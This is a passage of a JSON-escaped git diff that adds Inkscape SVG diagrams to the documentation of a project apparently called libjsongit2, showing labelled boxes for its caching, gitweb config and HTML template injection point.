font-size\u003d\u00225.0359px\u0022 stroke-width\u003d\u0022.62949\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022133.12012\u0022 y\u003d\u0022109.48351\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.62949\u0022\u003echunked memory buffers\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u002275.911415\u0022 y\u003d\u002282.317596\u0022 font-size\u003d\u002213.259px\u0022 stroke-width\u003d\u00221.6574\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002275.911415\u0022 y\u003d\u002282.317596\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.6574\u0022\u003elibjsongit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u002258.847652\u0022 y\u003d\u0022220.49406\u0022 font-size\u003d\u00226.5417px\u0022 stroke-width\u003d\u0022.81771\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002258.847652\u0022 y\u003d\u0022220.49406\u0022\u003ethis\u003c/tspan\u003e\u003ctspan x\u003d\u002258.847652\u0022 y\u003d\u0022228.67117\u0022\u003elibrary\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022165.30663\u0022 y\u003d\u0022202.23048\u0022 font-size\u003d\u00225.0408px\u0022 stroke-width\u003d\u0022.6301\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022165.30663\u0022 y\u003d\u0022202.23048\u0022\u003egitweb\u003c/tspan\u003e\u003ctspan x\u003d\u0022165.30663\u0022 y\u003d\u0022208.53148\u0022\u003econfig\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003crect x\u003d\u002263.847\u0022 y\u003d\u0022197.84\u0022 width\u003d\u002217.768\u0022 height\u003d\u002213.526\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\n+\t\t\u003ctext x\u003d\u002272.539955\u0022 y\u003d\u0022206.56897\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00226.025px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.75313\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002272.539955\u0022 y\u003d\u0022206.56897\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.75313\u0022\u003ecache\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cpath d\u003d\u0022m154.65 216.44-3.4731-3.3878\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0557\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022147.82\u0022 y\u003d\u0022242.69\u0022 width\u003d\u002213.665\u0022 height\u003d\u002213.526\u0022 fill\u003d\u0022#806600\u0022/\u003e\n+\t\t\u003ctext x\u003d\u0022155.05472\u0022 y\u003d\u0022248.86899\u0022 fill\u003d\u0022#ffff00\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00222.9714px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.37142\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022155.05472\u0022 y\u003d\u0022248.86899\u0022\u003egitolite-\u003c/tspan\u003e\u003ctspan x\u003d\u0022155.05472\u0022 y\u003d\u0022252.58321\u0022\u003eadmin\u003c/tspan\u003e\u003c/text\u003e\n+\t\u003c/g\u003e\n+\u003c/svg\u003e\ndiff --git a/doc/doc-assets/libjsongit2-sandwich.svg b/doc/doc-assets/libjsongit2-sandwich.svg\nnew file mode 100644\nindex 0000000..c5bacb0\n--- /dev/null\n+++ b/doc/doc-assets/libjsongit2-sandwich.svg\n@@ -0,0 +1,3 @@\n+\u003c?xml version\u003d\u00221.0\u0022 encoding\u003d\u0022UTF-8\u0022?\u003e\n+\u003c!-- Created with Inkscape (http://www.inkscape.org/) --\u003e\n+\u003csvg width\u003d\u0022131mm\u0022 height\u003d\u0022117mm\u0022 version\u003d\u00221.1\u0022 viewBox\u003d\u00220 0 131.09431 116.97856\u0022 xmlns\u003d\u0022http://www.w3.org/2000/svg\u0022 xmlns:cc\u003d\u0022http://creativecommons.org/ns#\u0022 xmlns:dc\u003d\u0022http://purl.org/dc/elements/1.1/\u0022 xmlns:rdf\u003d\u0022http://www.w3.org/1999/02/22-rdf-syntax-ns#\u0022 xmlns:xlink\u003d\u0022http://www.w3.org/1999/xlink\u0022\u003e\u003cdefs\u003e\u003cradialGradient id\u003d\u0022c\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-6.51 -8.65)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#ffffa8\u0022 stop-opacity\u003d\u0022.632\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022n\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022f\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-6.51 -8.65)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#ffffa3\u0022 stop-opacity\u003d\u0022.707\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022o\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022g\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-6.51 -8.65)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022k\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022d\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-6.51 -8.65)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u0022.669\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022l\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022e\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-6.51 -8.65)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#ffff62\u0022 stop-opacity\u003d\u0022.612\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022m\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022h\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-6.51 -8.65)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#ffff85\u0022 stop-opacity\u003d\u0022.529\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022p\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022b\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-19.5 -19.3)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#ffffae\u0022 stop-opacity\u003d\u0022.661\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022q\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022i\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 gradientTransform\u003d\u0022translate(-.638 .319)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#ffff8e\u0022 stop-opacity\u003d\u0022.554\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#fff\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022r\u0022 x\u003d\u0022-.0744\u0022 y\u003d\u0022-.0744\u0022 width\u003d\u00221.15\u0022 height\u003d\u00221.15\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.076639535\u0022/\u003e\u003c/filter\u003e\u003cradialGradient id\u003d\u0022a\u0022 cx\u003d\u0022132\u0022 cy\u003d\u0022362\u0022 r\u003d\u00226.56\u0022 gradientTransform\u003d\u0022matrix(.672 -1.22 1.76 .971 -1.12e3 -72.5)\u0022 gradientUnits\u003d\u0022userSpaceOnUse\u0022\u003e\u003cstop stop-color\u003d\u0022#333\u0022 offset\u003d\u00220\u0022/\u003e\u003cstop stop-color\u003d\u0022#333\u0022 stop-opacity\u003d\u00220\u0022 offset\u003d\u00221\u0022/\u003e\u003c/radialGradient\u003e\u003cfilter id\u003d\u0022j\u0022 x\u003d\u0022-.0351\u0022 y\u003d\u0022-.0396\u0022 width\u003d\u00221.07\u0022 height\u003d\u00221.08\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.70119576\u0022/\u003e\u003c/filter\u003e\u003c/defs\u003e\u003cmetadata\u003e\u003crdf:RDF\u003e\u003ccc:Work rdf:about\u003d\u0022\u0022\u003e\u003cdc:format\u003eimage/svg+xml\u003c/dc:format\u003e\u003cdc:type rdf:resource\u003d\u0022http://purl.org/dc/dcmitype/StillImage\u0022/\u003e\u003cdc:title/\u003e\u003c/cc:Work\u003e\u003c/rdf:RDF\u003e\u003c/metadata\u003e\u003cg transform\u003d\u0022translate(508 -24.2)\u0022\u003e\u003cg transform\u003d\u0022matrix(2.55 0 0 2.55 -610 -850)\u0022 filter\u003d\u0022url(#j)\u0022\u003e\u003cg\u003e\u003crect x\u003d\u002241.6\u0022 y\u003d\u0022353\u0022 width\u003d\u002219.4\u0022 height\u003d\u002219.3\u0022/\u003e\u003cpath d\u003d\u0022m60.9 368c4.05-0.203 5.54 3.01 9.16 4.9 3.03 1.9 6.6 3.6 10.3 3.38 3.06-0.07 9.2 1.25 9.29 3.42l-0.272 1.38-0.64 1.59-0.994 2.01-1.26 1.04-1.97 0.451-3.51 0.178c-3.88 0.0595-2.48 0.957-7.36 0.951-4.01-0.405-7.58-5.8-7.5-8.6 0.0379-1.84-0.0924-3.47-1.47-4.57-1.13-0.903-2.55-1.41-3.77-1.4l0.0765-4.11z\u0022/\u003e\u003cpath d\u003d\u0022m82 357c1.09-1.64-4.68-3.24-6.3-0.337-1.76 2.77-6.05-0.673-6.73 2.85-0.325 2.8-4.16 1.29-5.23 3.91-1.11 1.97 0.876 5.18 3.1 5.35 3.03-0.111 3.3 3.89 6.46 3.71 2.21 1.3 3.56 6.16 6.68 5.36 3.21-1.58 5.85 0.48 3.86 2.46-1.41 2.1-2.35 4.98 1.44 4.58 2.87-0.551 0.594-2.11 0.711-3.4-0.4-6 1.33-10.9-1.92-14.4l-3.59-5.2 0.546-3.2z\u0022/\u003e\u003c/g\u003e\u003cpath d\u003d\u0022m60.5 353c5.51 0.162 4.63-7.25 9.3-8.32 3.9-0.916 5.03 1 8.97 0.599 2.2-8e-3 4.88 0.717 4.87 2.93l-0.103 1.43-0.454 1.1-1e-3 0.564 0.116 0.6 0.149 0.527 1.45 3.5c3.78 9.04-5.67 8.36-2.16 2.18 4.98-3.66-8.24-3.97-10.3-3.05-3.56 1.31-5.52 4.85-9.02 6.14-0.597 0.338-1.54 0.99-2.45 0.766-0.0605-0.96-0.404-8.01-0.417-8.98z\u0022/\u003e\u003c/g\u003e\u003cg\u003e\u003crect x\u003d\u0022-505\u0022 y\u003d\u002248.9\u0022 width\u003d\u002249.4\u0022 height\u003d\u002249.3\u0022 fill\u003d\u0022#666\u0022/\u003e\u003crect x\u003d\u0022-505\u0022 y\u003d\u002272.5\u0022 width\u003d\u002249.6\u0022 height\u003d\u002213.1\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\u003cg font-family\u003d\u0022'Open Sans'\u0022 letter-spacing\u003d\u00220px\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022\u003e\u003ctext x\u003d\u0022-480.75674\u0022 y\u003d\u002259.516273\u0022 fill\u003d\u0022#ffff00\u0022 font-size\u003d\u00225.4px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-480.75674\u0022 y\u003d\u002259.516273\u0022 fill\u003d\u0022#ffff00\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.675\u0022\u003estatic html\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-480.75674\u0022 y\u003d\u002264.70089\u0022 fill\u003d\u0022#ffff00\u0022 font-size\u003d\u00225.4px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-480.75674\u0022 y\u003d\u002264.70089\u0022 fill\u003d\u0022#ffff00\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.675\u0022\u003etemplate\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-479.9093\u0022 y\u003d\u002276.950752\u0022 fill\u003d\u0022#ffffff\u0022 font-size\u003d\u00222.59px\u0022 stroke-width\u003d\u0022.323\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-479.9093\u0022 y\u003d\u002276.950752\u0022\u003e\u0026lt;div id\u003d'initial-json' style\u003d\u0022display:none\u0022\u0026gt;\u003c/tspan\u003e\u003ctspan x\u003d\u0022-479.9093\u0022 y\u003d\u002280.185211\u0022\u003e\u003ctspan font-weight\u003d\u0022bold\u0022 stroke-width\u003d\u0022.323\u0022\u003e\u0026lt;!-- libjsongit2:initial-json--\u0026gt;\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u0022-479.9093\u0022 y\u003d\u002283.419678\u0022\u003e\u003ctspan font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.323\u0022\u003e \u003c/tspan\u003e\u0026lt;/div\u0026gt;\u003c/tspan\u003e\u003c/text\u003e\u003c/g\u003e\u003c/g\u003e\u003crect x\u003d\u0022-504\u0022 y\u003d\u002272.4\u0022 width\u003d\u002249.6\u0022 height\u003d\u002215.4\u0022 fill-opacity\u003d\u00220\u0022/\u003e\u003cpath d\u003d\u0022m-505 72.7h55.2\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#fff\u0022 stroke-dasharray\u003d\u00222.0256265, 0.67520884\u0022 stroke-width\u003d\u0022.675\u0022/\u003e\u003cpath d\u003d\u0022m-508 85.8h55.2\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#fff\u0022 stroke-dasharray\u003d\u00222.02562652, 0.67520884\u0022 stroke-width\u003d\u0022.675\u0022/\u003e\u003cg\u003e\u003cpath d\u003d\u0022m-456 86.2c10.3-0.517 14.1 7.68 23.4 12.5 7.74 4.85 16.8 9.19 26.2 8.63 7.82-0.179 23.5 3.19 23.7 8.73l-0.694 3.53-1.63 4.05-2.54 5.12-3.22 2.66-5.02 1.15-8.96 0.454c-9.89 0.152-6.34 2.44-18.8 2.43-10.2-1.03-19.3-14.8-19.1-21.9 0.0967-4.7-0.236-8.85-3.76-11.7-2.89-2.31-6.51-3.6-9.62-3.57l0.195-10.5z\u0022 fill\u003d\u0022#666\u0022/\u003e\u003cpath d\u003d\u0022m-420 106c-0.127 0.92 0.857 0.925 1.21 1.45 0.0998 0.15 0.141 0.333 0.241 0.482 0.063 0.0947 0.161 0.161 0.241 0.241 0.241 0.241 0.482 0.482 0.723 0.723 0.0804 0.0804 0.178 0.146 0.241 0.241 0.0998 0.15 0.114 0.355 0.241 0.482 0.127 0.127 0.333 0.141 0.482 0.241 0.0947 0.0627 0.161 0.161 0.241 0.241 0.0804 0.0804 0.19 0.139 0.241 0.241 0.036 0.072-0.036 0.169 0 0.241 0.0508 0.102 0.19 0.139 0.241 0.241 0.0677 0.135-0.0666 0.865 0 0.965 0.126 0.189 0.381 0.279 0.482 0.482 0.0296 0.0594 0 1.54 0 1.69 0 0.0804-0.036 0.169 0 0.241 0.0508 0.102 0.19 0.14 0.241 0.241 0.036 0.0719-0.036 0.169 0 0.241 0.0508 0.102 0.19 0.139 0.241 0.241 0.0361 0.0719-0.0255 0.165 0 0.241 0.0587 0.176 0.262 0.613 0.482 0.723 0.0719 0.0357 0.169-0.0357 0.241 0 0.102 0.0506 0.14 0.19 0.241 0.241 0.0719 0.0357 0.184-0.0566 0.241 0 0.0569 0.0566-0.0361 0.169 0 0.241 0.0508 0.102 0.161 0.161 0.241 0.241 0.0804 0.0804 0.139 0.19 0.241 0.241 0.152 0.0758 0.813-0.0758 0.965 0 0.102 0.0505 0.139 0.19 0.241 0.241 0.16 0.0799 0.762-0.0677 0.965 0 1.75 0.582-0.38-0.0694 0.723 0.482 0.144 0.0719 0.339-0.072 0.482 0 0.102 0.0508 0.14 0.19 0.241 0.241 0.0721 0.0357 0.161 0 0.241 0 0.161 0 0.33-0.0508 0.482 0 0.108 0.0357 0.139 0.19 0.241 0.241 0.072 0.0357 0.169-0.0357 0.241 0 0.102 0.0505 0.133 0.205 0.241 0.241 0.153 0.0505 0.322 0 0.482 0 0.544 0 0.913-0.0259 1.45 0.241 0.533 0.267 0.0748 0.15 0.241 0.482 0.0508 0.101 0.161 0.161 0.241 0.241 0.0803 0.0803 0.14 0.19 0.241 0.241 0.072 0.0357 0.205-0.072 0.241 0 0.072 0.144-0.072 0.339 0 0.482 0.0359 0.0721 0.205-0.0719 0.241 0 0.072 0.144-0.0508 0.33 0 0.482 0.0359 0.108 0.19 0.14 0.241 0.241 0.036 0.0718-0.0569 0.184 0 0.241 0.0569 0.0566 0.184-0.0567 0.241 0 0.114 0.114-0.0508 0.33 0 0.482 0.0569 0.17 0.184 0.312 0.241 0.482 0.0524 0.157 0 1.49 0 1.69v0.965c0 0.161 0.0508 0.33 0 0.482-0.0569 0.17-0.184 0.312-0.241 0.482-0.0255 0.0763 0 0.161 0 0.241 0 0.227 0.0456 1.07 0 1.21-0.036 0.108-0.19 0.139-0.241 0.241-0.0359 0.0719 0 0.161 0 0.241v1.45 0.482c0 0.0804-0.0359 0.169 0 0.241 0.0508 0.102 0.161 0.161 0.241 0.241 0.0803 0.0804 0.161 0.161 0.241 0.241 0.0803 0.0804 0.14 0.19 0.241 0.241 0.144 0.072 0.338-0.0719 0.482 0 1.1 0.552-1.02-0.1 0.723 0.482 0.0763 0.0255 0.165-0.0259 0.241 0 0.17 0.0567 0.308 0.198 0.482 0.241 0.156 0.0394 0.326-0.0394 0.482 0 0.174 0.0439 0.312 0.184 0.482 0.241 0.256 0.0854 0.708-0.0856 0.965 0 1.75 0.582-0.38-0.0694 0.723 0.482 0.072 0.0357 0.169-0.0357 0.241 0 0.203 0.102 0.279 0.381 0.482 0.482 0.072 0.0357 0.161 0 0.241 0 0.241 0 0.49-0.0586 0.723 0 0.11 0.0277 0.161 0.161 0.241 0.241 0.241 0 0.487-0.0472 0.723 0 0.436-0.145 0.448 0.391 0.723 0.482 0.153 0.0505 0.326-0.039 0.482 0 0.174 0.0439 0.312 0.184 0.482 0.241 0.0763 0.0259 0.169-0.0357 0.241 0 0.102 0.0506 0.14 0.19 0.241 0.241 0.0529 0.0263 1.43 7e-3 1.45 0 0.163-0.0547 0.539-0.631 0.723-0.723 0.072-0.0357 0.169 0.0357 0.241 0 0.102-0.0505 0.139-0.19 0.241-0.241 0.072-0.0357 0.174 0.0446 0.241 0 0.189-0.126 0.293-0.356 0.482-0.482 0.0669-0.0447 0.161 0 0.241 0 0.161 0 0.33 0.0508 0.482 0 0.108-0.0357 0.14-0.19 0.241-0.241 0.156-0.078 1.22 0.0758 1.45 0 0.972-0.324 0.0967-0.41 0.723-0.723 0.333-0.166 0.216 0.292 0.482-0.241 0.0359-0.0719-0.0569-0.184 0-0.241 0.499-0.499-0.0204 0.762 0.482-0.241 0.0359-0.072 0-0.161 0-0.241s0.0359-0.169 0-0.241c-0.0508-0.102-0.19-0.14-0.241-0.241-0.0359-0.0719 0-0.161 0-0.241 0-0.545-0.0359 0.108 0.241-0.723 0.0298-0.0892 0.0312-1.38 0-1.45-0.0508-0.102-0.19-0.139-0.241-0.241-0.0437-0.0873 0-1.04 0-1.21 0-1.1 0.114-0.0153-0.241-0.723-0.0359-0.0719 0-0.161 0-0.241v-0.241c0-0.188 0.0439-1.56 0-1.69-0.0569-0.17-0.174-0.315-0.241-0.482-0.0944-0.236-0.127-0.496-0.241-0.723-0.0508-0.102-0.19-0.139-0.241-0.241-0.0758-0.152 0.0758-0.813 0-0.965-0.0508-0.102-0.205-0.133-0.241-0.241-0.11-0.329 0.11-1.12 0-1.45-0.036-0.108-0.19-0.139-0.241-0.241-0.0368-0.0735 0-0.615 0-0.723v-1.93c0-0.109 0.0368-0.65 0-0.723-0.13-0.259-0.353-0.464-0.482-0.724-0.072-0.144 0.0508-0.33 0-0.482-0.277-0.831-0.241-0.179-0.241-0.723v-1.93c0-0.0804 0.0569-0.184 0-0.241-0.0569-0.0566-0.184 0.0566-0.241 0-0.0569-0.0566 0.0359-0.169 0-0.241-0.0508-0.102-0.161-0.161-0.241-0.241-0.0803-0.0804-0.14-0.19-0.241-0.241-0.072-0.0357-0.161 0-0.241 0h-0.241-1.21-3.86-2.89-0.965c-0.161 0-0.326 0.039-0.482 0-0.247-0.0616-0.474-0.191-0.723-0.241-0.158-0.0316-0.322 0-0.482 0h-1.21c-0.161 0-0.33 0.0506-0.482 0-0.108-0.0357-0.14-0.19-0.241-0.241-0.072-0.0357-0.161 0-0.241 0-0.161-0.0804-0.333-0.141-0.482-0.241-0.0947-0.0628-0.133-0.205-0.241-0.241-0.362-0.12-0.422 0.06-0.723 0-0.325-0.0649-0.64-0.176-0.965-0.241-0.0789-0.0153-0.161 0-0.241 0h-0.965-0.723c-0.161 0-0.33 0.0505-0.482 0-0.108-0.0357-0.133-0.205-0.241-0.241-0.229-0.0763-0.495 0.0763-0.723 0-0.17-0.0567-0.322-0.161-0.482-0.241-0.241 0-0.487 0.0472-0.723 0-0.97-0.194-0.111-0.176-0.723-0.482-0.0719-0.0357-0.165 0.0259-0.241 0-0.17-0.0566-0.312-0.184-0.482-0.241-0.229-0.0763-0.495 0.0763-0.723 0-0.161-0.0541-0.818-0.891-0.965-0.965-0.216-0.108-0.482 0-0.723 0-0.58 0 0.102 0.0259-0.965-0.241-0.078-0.0204-0.169 0.0357-0.241 0-0.102-0.0506-0.133-0.205-0.241-0.241-0.153-0.0505-0.326 0.0394-0.482 0-0.174-0.0431-0.312-0.184-0.482-0.241-0.217-0.0725-0.506 0.0722-0.723 0-0.216-0.072-0.279-0.381-0.482-0.482-0.0719-0.0357-0.161 0-0.241 0-0.842 0-0.684-0.0106-1.69 0.241z\u0022 fill\u003d\u0022url(#a)\u0022/\u003e\u003cpath d\u003d\u0022m-402 59.2c2.79-4.18-11.9-8.26-16.1-0.86-4.5 7.06-15.4-1.72-17.2 7.27-0.829 7.14-10.6 3.29-13.3 9.97-2.83 5.02 2.24 13.2 7.92 13.7 7.73-0.284 8.42 9.94 16.5 9.46 5.64 3.33 9.08 15.7 17 13.7 8.19-4.02 14.9 1.22 9.85 6.28-3.6 5.36-5.99 12.7 3.69 11.7 7.32-1.41 1.52-5.39 1.81-8.69-1.02-15.3 3.4-27.8-4.89-36.6l-9.17-13.3 1.39-8.16z\u0022 fill\u003d\u0022#d4aa00\u0022/\u003e\u003ctext x\u003d\u0022-416.19669\u0022 y\u003d\u0022120.57246\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.4px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-416.19669\u0022 y\u003d\u0022120.57246\u0022\u003eremainder\u003c/tspan\u003e\u003ctspan x\u003d\u0022-416.19669\u0022 y\u003d\u0022127.32455\u0022\u003eof html\u003c/tspan\u003e\u003c/text\u003e\u003ctext 